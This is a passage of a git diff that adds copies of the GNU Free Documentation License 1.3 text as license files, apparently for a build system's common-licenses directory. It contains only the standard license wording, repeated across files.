+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, or distribute it is void, and will automatically terminate your rights under this License.
+
+However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation.
+
+Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice.
+
+Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, receipt of a copy of some or all of the same material does not give you any rights to use it.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation. If the Document specifies that a proxy can decide which future versions of this License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Document.
+
+11. RELICENSING
+
+"Massive Multiauthor Collaboration Site" (or "MMC Site") means any World Wide Web server that publishes copyrightable works and also provides prominent facilities for anybody to edit those works. A public wiki that anybody can edit is an example of such a server. A "Massive Multiauthor Collaboration" (or "MMC") contained in the site means any set of copyrightable works thus published on the MMC site.
+
+"CC-BY-SA" means the Creative Commons Attribution-Share Alike 3.0 license published by Creative Commons Corporation, a not-for-profit corporation with a principal place of business in San Francisco, California, as well as future copyleft versions of that license published by that same organization.
+
+"Incorporate" means to publish or republish a Document, in whole or in part, as part of another Document.
+
+An MMC is "eligible for relicensing" if it is licensed under this License, and if all works that were first published under this License somewhere other than this MMC, and subsequently incorporated in whole or in part into the MMC, (1) had no cover texts or invariant sections, and (2) were thus incorporated prior to November 1, 2008.
+
+The operator of an MMC Site may republish an MMC contained in the site under CC-BY-SA on the same site at any time before August 1, 2009, provided the MMC is eligible for relicensing.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this:
+
+ with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.3-invariants-or-later b/meta/files/common-licenses/GFDL-1.3-invariants-or-later
new file mode 100644
index 0000000000..b51dc2ab16
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.3-invariants-or-later
@@ -0,0 +1,149 @@
+GNU Free Documentation License
+Version 1.3, 3 November 2008
+
+Copyright (C) 2000, 2001, 2002, 2007, 2008 Free Software Foundation, Inc. <http://fsf.org/>
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+The "publisher" means any person or entity that distributes copies of the Document to the public.
+
+A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice. H. Include an unaltered copy of this License.
+ I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
+ O. Preserve any Warranty Disclaimers.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, or distribute it is void, and will automatically terminate your rights under this License.
+
+However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation.
+
+Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice.
+
+Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, receipt of a copy of some or all of the same material does not give you any rights to use it.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation. If the Document specifies that a proxy can decide which future versions of this License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Document.
+
+11. RELICENSING
+
+"Massive Multiauthor Collaboration Site" (or "MMC Site") means any World Wide Web server that publishes copyrightable works and also provides prominent facilities for anybody to edit those works. A public wiki that anybody can edit is an example of such a server. A "Massive Multiauthor Collaboration" (or "MMC") contained in the site means any set of copyrightable works thus published on the MMC site.
+
+"CC-BY-SA" means the Creative Commons Attribution-Share Alike 3.0 license published by Creative Commons Corporation, a not-for-profit corporation with a principal place of business in San Francisco, California, as well as future copyleft versions of that license published by that same organization.
+
+"Incorporate" means to publish or republish a Document, in whole or in part, as part of another Document.
+
+An MMC is "eligible for relicensing" if it is licensed under this License, and if all works that were first published under this License somewhere other than this MMC, and subsequently incorporated in whole or in part into the MMC, (1) had no cover texts or invariant sections, and (2) were thus incorporated prior to November 1, 2008.
+
+The operator of an MMC Site may republish an MMC contained in the site under CC-BY-SA on the same site at any time before August 1, 2009, provided the MMC is eligible for relicensing.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this:
+
+ with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.3-no-invariants-only b/meta/files/common-licenses/GFDL-1.3-no-invariants-only
new file mode 100644
index 0000000000..b51dc2ab16
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.3-no-invariants-only
@@ -0,0 +1,149 @@
+GNU Free Documentation License
+Version 1.3, 3 November 2008
+
+Copyright (C) 2000, 2001, 2002, 2007, 2008 Free Software Foundation, Inc. <http://fsf.org/>
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+The "publisher" means any person or entity that distributes copies of the Document to the public.
+
+A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice. H. Include an unaltered copy of this License.
+ I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
+ O. Preserve any Warranty Disclaimers.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, or distribute it is void, and will automatically terminate your rights under this License.
+
+However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation.
+
+Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice.
+
+Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, receipt of a copy of some or all of the same material does not give you any rights to use it.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
